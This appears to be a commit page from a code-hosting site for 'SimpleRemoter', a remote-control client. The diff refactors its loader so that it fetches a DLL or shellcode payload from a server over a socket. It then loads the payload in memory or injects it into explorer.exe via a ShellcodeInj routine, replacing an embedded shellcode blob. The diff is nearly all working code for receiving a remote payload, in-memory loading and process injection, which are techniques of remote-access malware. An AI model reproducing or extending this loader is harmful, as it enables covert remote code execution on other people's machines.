yuanyuanxiang/SimpleRemoter
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases 4 Wiki Activity

Refactor: Remove SCLoader.cpp and use the received DLL to inject

Browse Source
This commit is contained in:
yuanyuanxiang
2026-05-25 00:16:39 +02:00
parent 54c88539e5
commit d6fb612475
6 changed files with 55 additions and 10379 deletions
Download Patch File Download Diff File Expand all files Collapse all files

87
client/test.cpp
View File

@@ -10,7 +10,7 @@
#include "auto_start.h"
// A shell code loader connect to 127.0.0.1:6543.
// Build: xxd -i TinyRun.dll > SCLoader.cpp
#include "SCLoader.cpp"
// #include "SCLoader.cpp"
extern "C" {
#include "reg_startup.h"
#include "ServiceWrapper.h"
@@ -76,10 +76,14 @@ typedef struct PkgHeader {
}
} PkgHeader;
typedef int (*DllCallback)(BYTE* dll, int size);
// Memory DLL runner.
class MemoryDllRunner : public DllRunner
{
protected:
int m_payloadType = MEMORYDLL;
DllCallback m_callback = nullptr;
HMEMORYMODULE m_mod;
std::string GetIPAddress(const std::string& hostName)
{
@@ -107,7 +111,7 @@ protected:
return std::string(ipStr);
}
public:
MemoryDllRunner() : m_mod(nullptr) {}
MemoryDllRunner(int type = MEMORYDLL, DllCallback cb = NULL) : m_mod(nullptr), m_payloadType(type), m_callback(cb) {}
virtual const char* ReceiveDll(int &size)
{
WSADATA wsaData = {};
@@ -146,9 +150,9 @@ public:
continue;
}
#ifdef _DEBUG
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 0 };
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 0 };
#else
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 1 };
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 1 };
#endif
memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查
memcpy(command + 32, hash.c_str(), min(32, hash.length()));
@@ -244,6 +248,9 @@ public:
strcpy(addr->installDir, g_ConnectAddress.installDir);
strcpy(addr->installName, g_ConnectAddress.installName);
}
if (m_callback) {
m_callback((BYTE*)buffer + 6 + sizeof(PkgHeader), size);
}
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
SAFE_DELETE_ARRAY(buffer);
return m_mod;
@@ -259,6 +266,37 @@ public:
}
};
int InjectShellcode(BYTE* buf, int len) {
ShellcodeInj inj(buf, len);
int pid = 0;
hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
do {
if (sizeof(void*) == 4) // Shell code is 64bit
return 1;
if (!(pid = inj.InjectProcess("explorer.exe", TRUE))) {
return 2;
}
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
if (hProcess == NULL) {
return 3;
}
Mprintf("Inject process [%d] succeed.\n", pid);
HANDLE handles[2] = { hProcess, hEvent };
DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
if (status == 1) {
Mprintf("结束运行.\n");
Sleep(1000);
TerminateProcess(hProcess, -1);
SAFE_CLOSE_HANDLE(hEvent);
}
SAFE_CLOSE_HANDLE(hProcess);
Mprintf("Process [%d] is finished.\n", pid);
Sleep(1000);
if (status == 1)
ExitProcess(0);
} while (pid);
}
// @brief 首先读取settings.ini配置文件，获取IP和端口.
// [settings]
// localIp=XXX
@@ -317,44 +355,6 @@ int main(int argc, const char *argv[])
g_ConnectAddress.SetServer(saved_ip.c_str(), saved_port);
}
// 此 Shell code 连接本机6543端口，注入到任务管理器
if (g_ConnectAddress.iStartup == Startup_InjSC) {
// Try to inject shell code to `notepad.exe`
// If failed then run memory DLL
ShellcodeInj inj(TinyRun_dll, TinyRun_dll_len);
int pid = 0;
hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
do {
if (sizeof(void*) == 4) // Shell code is 64bit
break;
if (!(pid = inj.InjectProcess("explorer.exe", ok))) {
break;
}
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
if (hProcess == NULL) {
break;
}
Mprintf("Inject process [%d] succeed.\n", pid);
HANDLE handles[2] = { hProcess, hEvent };
DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
if (status == 1) {
TerminateProcess(hProcess, -1);
SAFE_CLOSE_HANDLE(hEvent);
}
SAFE_CLOSE_HANDLE(hProcess);
Mprintf("Process [%d] is finished.\n", pid);
if (status == 1) {
Mprintf("结束运行.\n");
Sleep(1000);
return -1;
}
} while (pid);
}
if (g_ConnectAddress.iStartup == Startup_InjSC) {
g_ConnectAddress.iStartup = Startup_MEMDLL;
}
do {
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
@@ -423,6 +423,9 @@ BOOL Run(const char* argv1, int argv2)
case Startup_MEMDLL:
runner = new MemoryDllRunner;
break;
case Startup_InjSC:
runner = new MemoryDllRunner(INJECT_SC, InjectShellcode);
break;
default:
ExitProcess(-1);
break;